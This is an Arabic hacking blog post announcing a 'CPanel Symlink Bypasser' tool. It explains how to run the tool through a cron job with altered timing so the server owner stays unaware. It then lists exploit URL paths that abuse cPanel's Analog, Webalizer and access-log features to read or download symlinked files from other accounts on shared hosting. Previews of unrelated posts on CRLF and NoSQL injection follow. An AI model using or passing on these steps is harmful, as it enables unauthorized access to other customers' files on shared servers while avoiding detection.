Priv8~!/ Symlink-Cpanel Bypasser Tool [Public_Version]

لسلام عليكم ورحمة الله وبركاتة،

اليوم اقدم لكم اداة في تخطي الاختصار في السي بنل. بدون مقدمات نبدا في شرح الاداة.

بالاول راح نستخدم الكرون جوب-Cron jobs في تنفيذ الاومر وتعديل الوقت في الارسال من السي بنل حتى لاندع مجال للشك لصاحب السيرفر او غيره.




الامر المراد تنفيذه من خلال الكرون .



كود PHP:

echo "nu11 is h3r3" ~| bash Cpbypasser.sh -s "nu11 bypass" -- l0v3rs14@gmail.com 
بحيث يكون
اقتباس:
~| bash Cpbypasser.sh
امر تنفيذ الاداة

وايضا
اقتباس:
"nu11 bypass" -- l0v3rs14@gmail.com
نقوم بستبدال الايميل الظاهر بالايميل المستخدم لديكم واسم الرساله او المحتوى
اقتباس:
nu11 bypass
اختياري

بعد ذالك نتوجه الى مسار المراد رفع فيه الاداة. وذلك عن طريق المسار التالي


كود PHP:
/home/username 


وننتظر لمده خمس الدقائق المده حتى تنفيذ الامر من الكرون جوب. على حسب الاختيار. والنتيجه

1- Dwonload Symlink file- تحميل الملف الذي قمنا بالاختصار عليه من خاصيه Access Logs



2- Webalizerftp Read Symlink file - قراءه الملف او الاستعراض.



3- Webalizer Read Symlink file - قراءه الملف او الاستعراض.



2- Analog Read Symlink file - قراءه الملف او الاستعراض.



تأكد تشغيل الاداة من السيرفر عن خلال الايميل مع المسارات المساعده والتوضيح في الاداة.




اقتباس:
<pre>
______ __ ____ ___
/ ____/___ ____ _____ ___ / / / __ )__ ______ ____ ______________ _____ _ _< /
/ / / __ \/ __ `/ __ \/ _ \/ / / __ / / / / __ \/ __ `/ ___/ ___/ _ \/ ___/ | | / / /
/ /___/ /_/ / /_/ / / / / __/ / / /_/ / /_/ / /_/ / /_/ (__ |__ ) __/ / | |/ / /
\____/ .___/\__,_/_/ /_/\___/_/ /_____/\__, / .___/\__,_/____/____/\___/_/ |___/_/
/_/ /____/_/
CPanel Symlink Bypasser [Public Version]
By Hannibal Ksa & R3m0t3 Nu11
</pre>


ANALOG EXPLOIT:

GO TO: https://yourbitch:2083/cpsession/tmp...bypass107.html
yourbitch=the cpanel url
cpsession=your cpanel session
cpsession=cpanel user


WEBALIZER FTP EXPLOIT:

GO TO: https://yourbitch:2083/cpsession/tmp...bypass107.html
yourbitch=the cpanel url
cpsession=your cpanel session
cpsession=cpanel user


WEBALIZER FTP EXPLOIT:

GO TO: https://yourbitch:2083/cpsession/tmp...bypass107.html
yourbitch=the cpanel url
cpsession=your cpanel session
cpsession=cpanel user


LOGS EXPLOIT:

GO TO: https://yourbitch:2083/cpsession/fro...raw/index.html
yourbitch=the cpanel url
cpsession=your cpanel session

THEN SCROLL DOWN 'TIL YOU SEE bypass.doc AND DOWNLOAD IT!




هاذا والصلاة والسلام ع اشرف الخلق والمرسلين محمد،

تعليقات

إرسال تعليق

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

صورة
السلام عليكم ورحمة الله وبركاتة , .  في البداية ناخذ تعريف عن معنى CRLF CRLF   CR=Carriage Return   %0d 0x0D \r LF=Line feed 0x0A %0a \n ماهو crlf عندما يقوم شخص بارسال طلب من المتصفح الى السيرفر  السيرفر راح يرد بالريسبونس يحتوي على  http response headers content Carriage Return Line feed تستخدم في ملاحظه انتهاء الاين او السطر و كما نلاحظ طريقه الفصل بين Header مع الContent Carriage Return&line feed لكن تختلف من ويندوز الى لينكس  حيث الويندوز يتطلب  بانتهى السطر با crlf في بروتوكول http/https اما في لينكس  line feed  lf يتطلب  فقط في بروتوكول الhttp  اين تكمن الثغرة: الثغرة تكمن عندما يضع المبرمج مدخل يستطيع المخترق او المستخدم بالتحكم في response header مثال من بعض الامثله التحكم في الوق مثلا الان وقت الاسغلال والتصعيد من بعض خطورة crlf ممكن التصعيد الى xss ,Session Fixation,openredirect ايضا ممكن rce على حسب المحتوى من خطوره crsf م...
قراءة المزيد

Study in Nosql-Injection-Mongodb

صورة
السلام عليكم ورحمة الله وبركاتة، موضوع المقال اليوم عن حقن النو سكيول في قواعد Mongodb مع بعض الامثله بينها وبين  للتوضيحMysql ,سوف احاول قدر المستطاع ابسط الموضوع مع ذكر اهم الاجزاء في الثغرة. في البداية ناخذ تعريف عن  NOSQL  nosql هي قاعدة بيانات ولكن لا تعتمد على لغة محدده في الاستعلام مثل mysql حيث الاستعلام في mysql يكون ب»لغة "Structured Query Language"   اما في نظيرتها nosql في mongodb Document - Oriented language بحيث انه يقوم بحفظ الوثائق بترميز bson في الجدول المعين او collection من ثم ارسال الطلب من بعدserialzation الى المستخدم سوا كان الترميز   content-type json format or html/-text/plain صوره للتوضيح   وهنا فرق json عن bson في ترميز mongodb  لنفرض وجدنا موقع يطبع ريكوست جيسون ل mongodb  يحتوي على hello world mongodb يقوم بقراءه hello world هاكذا الاختلافات واضحه وصريحه ولكن في تشابه في الية العمل الى حد ما لناخذ امثله mysql+nosql ونقارنهم حتى يتبين  لنا الية ...
قراءة المزيد